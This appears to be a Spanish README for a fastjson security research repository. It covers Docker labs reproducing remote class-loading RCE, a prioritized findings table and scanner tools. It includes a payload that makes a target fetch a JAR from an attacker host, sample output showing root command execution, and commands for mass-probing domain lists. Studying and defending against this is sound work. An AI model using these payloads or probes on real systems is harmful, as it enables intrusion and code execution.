
Laboratorios Docker + escáner defensivo para RCE de carga remota de clases en fastjson. fastjson 1.2.66-1.2.83: sonda de recursos @JSONType (CVE-2026-16723). fastjson2 2.0.57: el @type del atacante alcanza loadClass con autoType DESHABILITADO mediante tipos polimórficos (@JSONType(seeAlso) / Jackson @JsonSubTypes). Payloads de solo marcador; controles safeMode + JDK17.
@JSONType de FastjsonEste repositorio conserva ahora dos líneas de investigación distintas de Fastjson:
modern-fd/ es la reconstrucción recomendada, solo con marcador, de la cadena remota JAR/descriptor-de-archivo de Fastjson 1.2.83 en un solo cuerpo, sobre Spring Boot 3, Tomcat embebido normal y JDK 17. Usa el sumidero literal de DTO fijo JSON.parseObject(body, BoundEnvelope.class) con AutoType deshabilitado.scanner/ contiene detección pasiva de peticiones/logs, inventario estático de artefactos y una sonda de alcanzabilidad que no ejecuta código.El fallo:
ParserConfig.checkAutoTypesondea cada valor@typeen busca de la anotación@JSONTypehaciendogetResourceAsStream(typeName.replace('.','/') + ".class"). En combinaciones modernas de Linux/JDK, una sonda remotajar:httppuede dejar el JAR en caché tras un descriptor abierto; luego, las sondasjar:file:/proc/self/fd/Nen el mismo cuerpo pueden reabrirlo con nombres de clase válidos e inicializar una clase anotada. La composición exacta de 1.2.83 funciona con AutoType deshabilitado y a través de un DTO fijo que contieneList<Object>. Por tanto, la vinculación por sí sola no es una mitigación. Explicación completa:docs/MECHANISM.md.
La revisión complementaria de todo el proyecto abarcó 2.041 filas invocables/inicializadores estáticos en los 193 archivos Java de producción de Fastjson 1.2.83. La tabla siguiente prioriza los resultados de mayor impacto; no es una afirmación de que cada despliegue de Fastjson esté afectado. Este repositorio reproduce directamente F105. Las entradas restantes resumen la revisión de código fuente sellada por separado y la evidencia de laboratorio acotada.
Consulta findings/FINDINGS.md para ver las etiquetas de validación, prerrequisitos, hallazgos de menor nivel, prioridades de remediación y límites negativos explícitos.
Este repositorio es para educación, investigación defensiva y pruebas autorizadas de sistemas que posees o que tienes permiso explícito de probar. La publicación en el host, cuando es compatible con la red interna del laboratorio moderno, se solicita únicamente en 127.0.0.1; sus scripts ejecutan la prueba completamente dentro de esa red aislada. El laboratorio moderno no tiene una primitiva de ejecución de procesos y solo establece un marcador fijo dentro de la JVM. El laboratorio heredado de JDK 8 sí ejecuta id y escribe su salida en /tmp/PWNED; mantenlo aislado. No apuntes el exploit heredado ni la sonda activa a sistemas no autorizados.
El directorio scanner/ incluye cuatro herramientas Python 3 sin dependencias (sin instalaciones pip).
fjdetect.py — inspecciona pasivamente cuerpos de petición JSON decodificados o logs JSON estructurados en busca de semillas de JAR remoto y secuencias /proc/self/fd o /dev/fd.fjscan_static.py — inventaría jars/wars/ears para la combinación vulnerable (contenido verificado por metadatos de 1.2.83 × contenido real de la clase del cargador de Spring Boot). Las versiones 1.2.48–1.2.82 con sonda y los candidatos solo de metadatos/nombre de archivo se informan por separado para revisión. Amigable para puertas de CI (código de salida 2 en EXPOSED).fjscan_probe.py — comprobación activa y segura de alcanzabilidad: dispara el @type contra un canario que tú controlas (listener integrado o Burp Collaborator / interactsh) y correlaciona la devolución de llamada de obtención de recursos. Su listener integrado devuelve un 404 vacío; configura los listeners externos de forma equivalente. Una devolución de llamada no prueba la carga de clases ni RCE.fjpayload.py — genera cuerpos de obtención de recursos remotos para pruebas manuales; usa solo un listener vacío/404 cuando no se pretende ejecutar.# 1) passive request/log inspection
python3 scanner/fjdetect.py --ndjson gateway.jsonl
# 2) inventory build artifacts / unpacked images (parallel)
python3 scanner/fjscan_static.py /path/to/artifacts --threads 16
# 3) active probe across many domains — simplest: --auto fires baseline + plain + escaped comparison
# DNS probes per target and prints a rollup; DNS callbacks land in your Burp Collaborator
python3 scanner/fjscan_probe.py --collaborator <sub>.oastify.com --auto --targets domains.txt --threads 50
cat domains.txt | python3 scanner/fjscan_probe.py --collaborator <sub>.oastify.com --auto --targets -
# 4) bulk fetch payloads for manual testing (one per domain, stable correlation token)
python3 scanner/fjpayload.py <collab-or-ip> --targets-file domains.txt
domains.txt = un objetivo por línea: una URL completa [METHOD ]URL o un dominio simple (expandido con --scheme / --target-port / --path); se permiten comentarios # :
api.internal.example
POST https://svc.example/v1/ingest
10.0.0.7:8080
fjscan_probe.py (sonda activa)
fjscan_static.py (inventario): <paths…> · --threads N (predeterminado 8) · --json (salida para máquina; código de salida 2 si hay algún EXPOSED).
fjpayload.py (generador): <collaborator> · --targets-file/-f <file\|-> (volumen) · --port · --token · --wrap · --entry.
Nota sobre Collaborator: el sumidero
jar:de@JSONTypehacetypeName.replace('.','/'), por lo que cada punto en el host se convierte en una barra — un subdominio de Burp Collaborator con puntos (abc.oastify.com) no se puede entregar a través de él (las herramientas recurren a una IP entera + token de ruta URL). Para obtener una devolución de llamada en un Collaborator público, usa--probe-type dns: la primitivajava.net.Inet4Addressacepta un host con puntos y dispara una interacción DNS (<tok>.<sub>.oastify.com), confirmando la primitiva de análisisInet4Address+ egress. Eso es evidencia de prerrequisito, no prueba del terminal remoto JAR/FD. Consultascanner/README.md.
Requisitos: Docker + Docker Compose y acceso saliente a Maven Central en la primera compilación (para obtener fastjson / spring-boot-loader / asm).
cd modern-fd
./scripts/static-safety-check.sh
./scripts/run-positive.sh
./scripts/run-controls.sh
El caso positivo envía un cuerpo a un hilo de petición normal de Tomcat embebido. Su sumidero literal es final BoundEnvelope parsed = JSON.parseObject(body, BoundEnvelope.class). El éxito es solo la propiedad fija y el token de log FASTJSON_MODERN_FD_MARKER=fastjson-modern-fd-marker-v1; la respuesta sigue devolviendo un BoundEnvelope vinculado normalmente. El directorio de evidencia contiene la petición, la respuesta, los metadatos del contenedor, los logs y el manifiesto SHA-256.
Los controles cubren JSON ordinario, candidatos FD sin semilla, una semilla seguida de descriptores imposibles y SafeMode. Consulta modern-fd/README.md.
La divulgación de FearsOff muestra el mismo terminal de JAR retenido en JDK 21 usando una caché persistente del proceso y un candidato FD por petición. El laboratorio moderno de este repositorio, en cambio, reproduce una composición de JDK 17 en un solo cuerpo: la semilla de fallo suave y los candidatos FD acotados los transporta una única petición de DTO fijo. JDK 21 sigue siendo reportado externamente; no es un resultado en tiempo de ejecución producido aquí.
El proyecto Compose original de nivel superior sigue disponible para reproducir la ruta anterior de una sola etapa. A diferencia de modern-fd/, es capaz de ejecutar comandos y debe ejecutarse solo en el laboratorio aislado:
make up
make exploit
make down
Salida esperada de make exploit:
[*] payload : {"@type":"jar:http:..attacker:8000.probe!.POC","x":1}
[*] response: {"ok":false,"error":"ClassCastException"} <- RCE already fired, THEN the cast
[*] PROOF — command output captured inside the TARGET container (/tmp/PWNED):
------------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root)
RCE_via_fastjson_JSONType
------------------------------------------------------------------
La ClassCastException es la señal de que la vinculación no es una mitigación: la clase del atacante ejecuta su <clinit> durante la sonda @type, antes de que fastjson intente convertirla a Dto.
target/Dockerfile a JDK 17 bloquea esta definición heredada de nombre manipulado y deja una obtención. Ese resultado no prueba ni mitiga la continuación separada /proc/self/fd en modern-fd/.setAutoTypeSupport(true) — comprueba el banner en http://127.0.0.1:8080/.PWN_CMD='touch /tmp/i_was_here' docker compose up -d --build attacker.Habilita -Dfastjson.parser.safeMode=true en la ruta ordinaria sin handlers o usa la compilación com.alibaba:fastjson:1.2.83_noneautotype del proveedor cuando la migración inmediata no sea posible, y audita los AutoTypeCheckHandlers instalados. Restringe el egress de la JVM; migra el análisis de datos no confiables fuera de Fastjson 1.x; alerta sobre semillas @type de JAR remoto decodificadas y candidatos /proc/self/fd o /dev/fd tanto dentro de una misma petición como correlacionados entre peticiones. La vinculación de DTO y JDK 9+ no son mitigaciones completas para la composición moderna.
fastjson2/ es un segundo laboratorio independiente. fastjson2 no contiene la sonda de recursos @JSONType de fastjson 1.x. Sin embargo, permite que un @type controlado por el atacante llegue a ClassLoader.loadClass() con autoType deshabilitado, siempre que la ruta de análisis involucre un tipo polimórfico — porque el constructor de ObjectReaderSeeAlso fija SupportAutoType por código, y un fallo de seeAlso cae en la resolución completa de autoType antes de que se ejecuten las comprobaciones de asignabilidad y de DataSource/RowSet.
Los desencadenantes son anotaciones de modelado ordinarias — @JSONType(seeAlso=), @JsonSubTypes de Jackson (se respeta porque useJacksonAnnotation es true por defecto), @JsonTypeInfo, tipos sellados. Bajo un fat jar de Spring Boot, el classloader de contexto resuelve nombres jar:http:, por lo que la clase se obtiene de la red y se ejecuta su inicializador estático.
Reproducido en fastjson2 2.0.62 (última versión) y 2.0.57, en JDK 8. safeMode=true lo bloquea; JDK 17 lo degrada a SSRF; autoTypeFilter(...) no protege. Divulgado por Chaitin (长亭), ~2026-07-25 — no es un hallazgo de este repositorio. El mantenedor tiene trabajo de endurecimiento abierto en PR #7703 (que sustituye a la cerrada #7695) que rechaza : y ! en los nombres de tipo; ninguna versión publicada lo contiene — 2.0.62 es anterior a ambas.
make fj2-safety # prove the payload is marker-only
make fj2-positive # default config -> remote class defined + initialised
make fj2-controls # plain parse / safeMode / JDK 17 / Jackson-only model / allowlist
/proc/self/fd reconstruidos aquí.@JSONType / nombre interno de URL jar: @wouijvziqy — https://github.com/wouijvziqy/Fastjson-JsonType-RCE-PoC. attacker/Gen.java reimplementa esa técnica para este laboratorio./proc/self/fd. Se trataron como reportes externos, no como prueba independiente en tiempo de ejecución.modern-fd/ usa clases solo-marcador de autoría independiente y un endpoint Tomcat normal de DTO fijo.Este laboratorio y las herramientas de scanner/ empaquetan esos hallazgos en un banco de pruebas reproducible y comprobaciones defensivas. No está afiliado ni respaldado por los investigadores mencionados.
| Prioridad | Hallazgo | Resultado probado | Límite importante |
|---|
| 1 | F105 — ejecución remota de bytecode @JSONType | Inicialización de clases suministrada por el atacante a través de cargadores compatibles de Spring Boot, incluyendo la ruta directa de JDK 8 y la continuación /proc/self/fd/N de JAR retenido en Linux/JDK 17 | Requiere un portador @type alcanzable por el parser, un cargador Boot/TCCL compatible, salida de red (egress), SafeMode/IgnoreAutoType desactivados y un JAR exacto del atacante. La ruta moderna de DTO fijo necesita además un carril de valor genérico (el laboratorio usa List<Object>), procfs en Linux, un descriptor retenido y alineación exacta de nombres; no es universal en todos los JDK, cargadores u SO |
| 2 | F1/F45 — ejecución de comandos de TemplatesImpl | Ejecución de comando marcador a través de la API de DTO fijo, incluyendo una propiedad de cuerpo ignorada | Requiere una política de servidor debilitada: admisión de clases, AutoType y población de campos privados o rutas equivalentes; los valores predeterminados sin modificar lo bloquean |
| 3 | F70/C016 — almacenamiento en búfer y expansión GZIP sin límite | Las rutas de byte/InputStream tipado y DTO anotado se expanden o almacenan en búfer sin un límite de salida; se reprodujo OOME de Java con montón limitado | Se requiere alcanzabilidad del endpoint/esquema y de los bytes del atacante; no se estableció una caída en toda la producción |
| 4 | F18/C089 — agotamiento de la pila del hilo del parser | Los valores de objetos ordinarios profundamente anidados pueden producir StackOverflowError con el análisis predeterminado | Impacto en la disponibilidad del hilo de petición; no es un fallo invariable de la JVM ni de todo el servicio |
| 5 | F120/C162 — SSRF HTTP de esquema fijo / carga de recursos locales | JEditorPane/JTextPane.page controlado por el cuerpo realiza peticiones HTTP y puede cargar contenido file: acotado en el estado del Document | Requiere que la aplicación declare el tipo Swing; no se probó exfiltración automática de respuestas ni RCE |
| 6 | F118/C160 — fallo de autorización/integridad de datos por colisión de hash | Una colisión Unicode distinta de FNV-1a-64 puede vincularse a una constante enum privilegiada o dirigir la mutación JSONPath al setter de bean equivocado | Requiere una colisión utilizable y confianza posterior, o una operación de mutación JSONPath expuesta; no hay admisión de clases ni RCE |
| 7 | F121/C163 — alcanzabilidad JNDI de JdbcRowSet fijo | El orden exacto de los setters provocó una conexión JNDI/LDAP saliente seleccionada por el cuerpo | La evidencia se detiene en una conexión: no hay respuesta de naming, object factory, carga de bytecode ni RCE |
| 8 | F2/F45 — resolución DNS predeterminada | La resolución de nombres de host controlada por el atacante funciona con la configuración predeterminada y a través de una propiedad ignorada de DTO fijo | Solo interacción DNS/OOB, no SSRF HTTP genérico ni RCE |
| Flag | Default | Propósito |
|---|
--auto | off | lo más simple — por objetivo envía sonda DNS de comparación baseline + plana + escapada en Unicode, imprime un resumen; solo necesita --collaborator + --targets |
--canary-ip <ip> | — | modo listener integrado; IP de este host tal como la ven los objetivos |
--collaborator <v> | — | OOB externo (IPv4 / int / host sin puntos / subdominio de Collaborator) |
--probe-type <t> | jsontype | modo manual: jsontype = ruta de obtención de recurso remoto (jar:http IP-int); dns = OOB de Inet4Address a través de un host con puntos (compatible con Collaborator); both |
--targets <file|-> | — | lista de objetivos no vacía; - lee de stdin (requerido); la entrada vacía o solo con comentarios sale con código distinto de cero |
--threads N | 20 | trabajadores de petición concurrentes |
--header 'K: V' | — | cabecera de petición adicional (repetible); se envía por defecto un --user-agent similar a un navegador para una petición frontend representativa |
--baseline '{"a":1}' | — | envía también un cuerpo de control benigno por objetivo; una diferencia de respuesta baseline/sonda es consistente con un manejo sensible al contenido en el borde, middleware o aplicación y necesita corroboración |
--max-redirects N | 3 | seguir hasta N redirecciones del mismo origen exacto o ascensos estándar del mismo host HTTP:80→HTTPS:443 (0 = ninguna); se bloquean el descenso de HTTPS, cambios arbitrarios de puerto/origen y redirecciones entre hosts; los ascensos conservan solo las cabeceras base no secretas |
--evasion {ukey,uval,both} | none | escapar \uXXXX de la clave @type / del valor de clase (fastjson aún lo decodifica); una devolución de llamada solo por evasión es consistente con datos de sonda decodificados que pasan un filtro de palabras clave literales, pero aún requiere corroboración del parser/versión |
--scheme / --target-port / --path | http / — / /parse | cómo se expanden los dominios simples |
--method | POST | método HTTP predeterminado |
--wrap '{"u":{{P}}}' | {{P}} | anida el objeto de sonda dentro de un campo |
--listen-port / --port | 19000 / 80 | puerto canario integrado / puerto de collaborator |
--wait / --timeout | 10 / 8 | segundos de espera de devoluciones de llamada / tiempo de espera por petición |
| Ruta | Descripción |
|---|
modern-fd/ | laboratorio solo-marcador de la cadena FD con DTO fijo en Boot 3/JDK 17 y controles decisivos |
scanner/ | detección pasiva de payloads/logs, inventario estático y herramientas de alcanzabilidad sin ejecución |
target/ | objetivo heredado JDK 8 que usa JSON.parseObject(body, Dto.class) bajo un cargador Boot seleccionado manualmente |
attacker/ | generador de clases heredado JDK 8 capaz de ejecutar comandos y servidor JAR |
exploit/ | prueba heredada exploit.sh |
docs/MECHANISM.md | recorrido anotado del código fuente |
findings/FINDINGS.md | hallazgos priorizados de todo el proyecto, prerrequisitos y límites de remediación |
fastjson2/ es una reproducción independiente de esa divulgación, no un hallazgo original de este repositorio. Hilo de seguimiento: issue #7702 (abierto por un usuario, sevck); endurecimiento del mantenedor en PR #7703 / cerrada #7695.safeMode, y la historia de autoType detrás de CVE-2022-25845).